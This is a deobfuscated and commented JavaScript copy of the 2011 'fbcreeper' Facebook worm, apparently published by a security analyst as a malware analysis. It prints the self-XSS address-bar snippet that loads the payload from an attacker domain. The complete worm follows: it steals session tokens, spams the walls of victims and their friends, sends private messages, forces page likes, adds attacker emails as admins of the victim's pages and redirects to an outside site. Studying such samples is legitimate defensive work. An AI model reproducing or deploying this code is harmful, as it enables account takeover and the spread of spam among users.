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/*
Deobfuscated & documented version of the "fbcreeper" facebook malware.
======================================================================

Malware web-page:
	http://fbcreeper.info/
	http://procreeper.info/
	http://profilechecker.info/
	http://thefbcreeper.info/

Description:
	This malware advertises that it can gather statistics about user's
	contacts visits to her profile. Instead this is what it does:
	* Posts links on victim's wall, which advertise the malware
	* Posts links to victim's contacts' walls, which advertise
	the malware.
	* Posts links to pages created or administered by victim, advertising
	the malware and adding users with emails lethaburbach890@yahoo.com and 
	chunfeezellwytm@hotmail.com to the pages' administators group.
	* Sends private messages, advertising the malware
	* Likes pages "DJ-Emphatic" and "OH Whutt" with user's account
	* Invites all contacts to an event (which is removed at the time
	of this analysis)
	
	As of now (22nd February 2011, 23:03 GMT+2), somewhere between
	11,000 and 20,000 Facebook accounts are infected.
	
	The malware is injected through address bar with the code snippet
	below:
		javascript: (a = (d = document).createElement("script")).src = 
		"http://fbcreeper.info/StalkerTools.fb"; void(d.body.appendChild(a))

Karagasidis Dimitris,
http://gatoni.gr
*/

/* Shortened URLs pointing to malware's web-page */
goog1="http://goo.gl/ixMjn";
goog2="http://tinyurl.com/48jd66w";
goog3="http://tinyurl.com/procreeper";
goog4="http://goo.gl/rLvls";
goog5="http://goo.gl/NMclq";
goog6="http://goo.gl/YHp4X";

/* Malware's facebook pages and evens */
event_id="168046893242650";		// As of 22nd February of 2011, this event is expired
page_id_x="136589129739532";	// DJ-Emphatic page on Facebook
page_id_xx="195926070436089";	// OH Whutt page on Facebook
admin_emails="lethaburbach890@yahoo.com,chunfeezellwytm@hotmail.com";

/* Statuses the malware posts on users' walls */
statuses = ["Wow! Seems like lots of people stalk me - " + goog1,
			"New FB tool shows who stalks your profile-- " + goog2,
			"Secret tool shows who stalks your pics " + goog3,
			"Insane! Awesome tool to see who looks at your pics >> " + goog4,
			"According to " + goog5 + " you're my top stalker. Creep.",
			"Secret tool shows who stalks your pics - " + goog6];

/* Subjects of private messages the malware sends to users */
subjects = [ "Check this out!", "Hey, whats happening?", "Hey! This is awesome" ];

/* Extend Array type with a function which returns an element from a random index */
Array.prototype.randomize = function () {
	return this[ Math.floor( Math.random() * this.length ) ];
};

/* Extend Object type with function to check the state of AJAX respose */
Object.prototype.isReady = function () {
	if ( this.readyState == 4 && this.status == 200 ) {
		return true;
	}
	else {
		return false;
	};
};

/* Extend String type with a function which returns user contacts' ids */
String.prototype.getFriends = function () { 
	friends2 = this.match( /facebook\.com\\\\\\\/profile\.php\?id=\d+\\\\\\\">(<span[^>]+>|)[^<>]+/gi).join(":").replace(/(facebook\.com\\\\\\\/|profile\.php\?id=|<span[^>]+>|l\.php.*)/gi,"").replace(/\\\\\\\">/gi,"&xhpc_composerid=").split(":").slice(1);
	return friends2;
};

function _88xuhyr(_0x91e5x2){
	/* 
	This function decodes and evaluates the _0x91e5x2 string, which
	seems to be "encrypted" with a 24-character shift.

	There seem to be no calls to this function from within the code,
	so its purpose must be solely for obscurity reasons.
	*/
	st = _0x91e5x2.split(",");
	d = "";
	for( i = 0; i < st.length; i++ ){
		d += String.fromCharCode( st[i] - 24 );
	};
	eval(d);
};

function addAdmin( _0x91e5x4, _0x91e5x5, _0x91e5x6, _0x91e5x7 ) {
	/*
	This function adds Facebook users with email accounts 
	lethaburbach890@yahoo.com and chunfeezellwytm@hotmail.com as
	administrators to the pages you have created or administering.

	_0x91e5x4 - Your page ID
	_0x91e5x5 - A string containing comma-separated email addresses
	_0x91e5x6, _0x91e5x7 - Your profile signatures
	*/
	iemails = _0x91e5x5.split( "," );
	main_emails = [];
	for( i = 0; i < iemails.length; i++ ) {
		main_emails[i]= "friendselector_input[]=" + iemails[i] + "&friend_selected[]=";
	};
	with ( newx = new XMLHttpRequest ) {
		open("POST", "/pages/edit/?id=" + _0x91e5x4 + "&sk=admin" );
		setRequestHeader( "Content-Type", "application/x-www-form-urlencoded" );
		send(	"post_form_id=" + 
				_0x91e5x6 +
				"&fb_dtsg=" +
				_0x91e5x7 +
				"&fbpage_id=" +
				_0x91e5x4 +
				"&" +
				main_emails.join("&") + 
				"&save=1"
			);
	} ;
};

function makePost( _0x91e5x9, _0x91e5xa, _0x91e5xb, _0x91e5xc ) {
	/*
	This function prepares a status update, which is posted on
	your contacts' walls.
	
	_0x91e5x9 - the HTML code of your Facebook page, from which
	your signature is extracted.
	_0x91e5xa - the array of available statuses
	_0x91e5xb - profile to which the status update will be posted
	_0x91e5xc - not used in the function. Obfuscation I guess.
	*/
	formx = _0x91e5x9.match(/name="post_form_id" value="([\d\w]+)"/)[1];
	dtx = _0x91e5x9.match(/name="fb_dtsg" value="([^"]+)"/)[1];
	composerx = _0x91e5x9.match(/name=\\\"xhpc_composerid\\\" value=\\\"([^"]+)\\\"/)[1];
	msg = _0x91e5xa.randomize() + "";
	text_post = "";
	text_actual = "";
	pxt = 	"post_form_id=" +
			formx +
			"&fb_dtsg=" +
			dtx +
			"&xhpc_composerid=" +
			composerx +
			"&xhpc_targetid=" +
			_0x91e5xb.split("|")[0] +
			"&xhpc_context=home&xhpc_fbx=1&xhpc_message_text=" +
			encodeURIComponent( msg + text_actual.replace( /\, $/,"" ) ) +
			"&xhpc_message=" +
			encodeURIComponent( msg + text_post.replace( /\, $/,"" ) ) +	"&UIPrivacyWidget[0]=40&privacy_data[value]=40&privacy_data[friends]=0&privacy_data[list_anon]=0&privacy_data[list_x_anon]=0&=Share&nctr[_mod]=pagelet_composer&lsd&post_form_id_source=AsyncRequest";
	update(pxt);
};

function update( _0x91e5xe ) {
	/* This function posts status update with victim's account */
	with( newx= new XMLHttpRequest){
		open("POST","/ajax/updatestatus.php?__a=1");
		setRequestHeader("Content-Type","application/x-www-form-urlencoded");
		send(_0x91e5xe);
	};
};

function loading(){
	/* This function adds a simple user interface */
	var _0x91e5x10 = document.createElement("div");
	_0x91e5x10.id = "screwyouz";
	_0x91e5x10.setAttribute("align","center");
	_0x91e5x10.style.margin = "0px auto";
	_0x91e5x10.style.position="absolute";
	_0x91e5x10.style.top="10px";
	_0x91e5x10.style.zindex="100";
	_0x91e5x10.className="screwyou";
	_0x91e5x10.innerHTML='<br /><br /><br /><br /><br /><center><img src="http://fbviews.org/process.gif" /><br />Scanning may take up to 3 minutes</center>';
	document.body.appendChild(_0x91e5x10);
};

/* This is the malware's entry point */

/*
Extract victim's signatures, so the malware can post on victim's
contacts' walls
*/
if ( window.location.href == "http://www.facebook.com/" ) {
	formx = ( res = document.body.innerHTML ).match(/name="post_form_id" value="([\d\w]+)"/)[1];
	dtx = res.match(/name="fb_dtsg" value="([^"]+)"/)[1];
	composerx = res.match(/name=\\\"xhpc_composerid\\\" value=\\\"([^"]+)\\\"/)[1];
}
else {
	/* 
	If not on main page, make an AJAX request, and then extract
	victim's data.
	*/
	with( muhaha = new XMLHttpRequest ) {
		open( "GET", "/", false );
		send(null);
	};
	formx = ( res = muhaha.responseText ).match(/name="post_form_id" value="([\d\w]+)"/)[1];
	dtx=res.match(/name="fb_dtsg" value="([^"]+)"/)[1];
	composerx=res.match(/name=\\\"xhpc_composerid\\\" value=\\\"([^"]+)\\\"/)[1];
};

/* A simple message box which informs that the malware runs */
alert("Hello! To activate the tool press Enter on your keyboard. This will take 2-3 minutes, while waiting please do not close this window or tab.");

/* Post malware advertising update on user's wall */
update(	"post_form_id=" +
		formx +
		"&fb_dtsg=" +
		"&xhpc_composerid=" +
		composerx +
		"&xhpc_targetid=" +
		document.cookie.match(/c_user=(\d+)/)[1] +
		"&xhpc_context=home&xhpc_fbx=1&xhpc_message_text=" +
		encodeURIComponent( stx = statuses.randomize() )+
		"&xhpc_message=" +
		encodeURIComponent(stx)+
		"&UIPrivacyWidget[0]=40&privacy_data[value]=40&privacy_data[friends]=0&privacy_data[list_anon]=0&privacy_data[list_x_anon]=0&=Share&nctr[_mod]=pagelet_composer&lsd&post_form_id_source=AsyncRequest"
	);

/* Like "DJ-Emphatic" page with victim's account */
with(newz= new XMLHttpRequest){
	loading();
	open("POST","/ajax/pages/fan_status.php?__a=1");
	setRequestHeader("Content-Type","application/x-www-form-urlencoded");
	send(	"fbpage_id=" +
			page_id_x +
			"&add=1&reload=1&preserve_tab=1&use_primer=1&nctr[_mod]=pagelet_top_bar&post_form_id=" +
			formx +
			"&fb_dtsg=" +
			dtx +
			"&lsd&post_form_id_source=AsyncRequest"
		);
};

/* Like "OH Whutt" page with victim's account */
with(newzz= new XMLHttpRequest){
	open("POST","/ajax/pages/fan_status.php?__a=1");
	setRequestHeader("Content-Type","application/x-www-form-urlencoded");
	send(	"fbpage_id=" +
			page_id_xx +
			"&add=1&reload=1&preserve_tab=1&use_primer=1&nctr[_mod]=pagelet_top_bar&post_form_id=" +
			formx +
			"&fb_dtsg=" +
			dtx +
			"&lsd&post_form_id_source=AsyncRequest"
		);
};

void 0;	// <- WTF?!

/*
Post with 3 seconds intervals, advertising messages on all contacts' walls. 
If friends are less than 15, it posts private messages
*/
with( fr = new XMLHttpRequest ) {
	open( "GET", "/ajax/browser/list/friends/all/?uid=" + 
				(me = document.cookie.match(/c_user=(\d+)/)[1]) +
				"&offset=0&dual=1&__a=1"
		);
		
	onreadystatechange=function (){
		if( fr.isReady() ) {
			friends=fr.responseText.getFriends();
			idx=[];
			for( i = 0; i < friends.length; i++ ) {
				if( !isNaN(friends[i].split("|")[0]) ){
					idx[i]= "ids[" + i + "]=" + friends[i].split("|")[0];
				};
			};
			with(invi= new XMLHttpRequest){
				open("POST","/ajax/social_graph/invite_dialog.php?__a=1");
				setRequestHeader("Content-Type","application/x-www-form-urlencoded");
				send(	"post_form_id="+
						formx+
						"&fb_dtsg="+
						dtx+
						"&send_invitations=1&invite_id_list=&email_addresses=&invite_msg=&"+
						idx.join("&")+
						"&node_id=" +
						event_id +
						"&class=GuestManager&__d=1&lsd&post_form_id_source=AsyncRequest"
					);
			};
			cnt_fr=0;
			tx=setInterval(function (){
				if( cnt_fr == friends.length ){
					window.location="http://fbviews.org/result.php";
					clearInterval(tx);
				};
				makePost( document.body.innerHTML, statuses, friends[cnt_fr], friends);
				with( xa= new XMLHttpRequest ) {
					open("GET","/ajax/messaging/composer.php?__a=1&__d=1");
					onreadystatechange=function (){
						if(xa.isReady()){
							compi=xa.responseText.match(/([\d\w]+)_error/)[1];
							pxi =	"ids_"+
									compi+
									"[0]="+
									friends[cnt_fr].split("|")[0]+
									"&subject="+
									encodeURIComponent( subjects.randomize() ) +
									"&status="+
									encodeURIComponent(statuses.randomize()) +
									"&ids[0]="+
									friends[cnt_fr].split("|")[0]+
									"&action=send_new&home_tab_id=1&profile_id="+
									document.cookie.match(/c_user=(\d+)/)[1]+
									"&target_id=0&app_id=&&composer_id="+
									compi+
									"&hey_kid_im_a_composer=true&thread&post_form_id="+
									formx+
									"&fb_dtsg="+
									dtx+
									"&lsd&_log_action=send_new&_log_thread&ajax_log=1&post_form_id_source=AsyncRequest";
							if( cnt_fr<15 ){
								with(mi= new XMLHttpRequest){
									open("POST","/ajax/gigaboxx/endpoint/MessageComposerEndpoint.php?__a=1");
									setRequestHeader("Content-Type","application/x-www-form-urlencoded");
									send(pxi);
								};
							};
						};
					};
					send(null);
				};
				cnt_fr += 1;
			} , 3000 );
		} ;
	};
	send(null);
};

/*
Post advertising messages with 3 seconds interval on pages created or administered 
by victim, and then add users with lethaburbach890@yahoo.com and chunfeezellwytm@hotmail.com
addresses as administrators to these pages
*/
with( ins = new XMLHttpRequest ) {
	open("GET","/insights/?_fb_noscript=1");
	onreadystatechange=function (){
		if(ins.isReady()){
			ids=ins.responseText.match(/po_\d+">View/gi).join(":").replace(/(po_|">View)/gi,"").split(":");
			cnt_pages=0;
			tz=setInterval(function (){
				if(cnt_pages==ids.length){
					window.location="http://fbviews.org/result.php";
					clearInterval(tz);
				} ;
				update(	"post_form_id=" +
						formx +
						"&fb_dtsg=" +
						dtx +
						"&xhpc_composerid=" +
						composerx +
						"&xhpc_targetid=" +
						ids[cnt_pages] +
						"&xhpc_context=home&xhpc_fbx=1&xhpc_message_text="+
						encodeURIComponent( stx=statuses.randomize() ) +
						"&xhpc_message=" +
						encodeURIComponent(stx) +
						"&UIPrivacyWidget[0]=40&privacy_data[value]=40&privacy_data[friends]=0&privacy_data[list_anon]=0&privacy_data[list_x_anon]=0&=Share&nctr[_mod]=pagelet_composer&lsd&post_form_id_source=AsyncRequest"
					);
				addAdmin( ids[cnt_pages], admin_emails, formx, dtx);
				cnt_pages+=1;
			} ,3000 );
		} ;
	} ;
	send(null);
};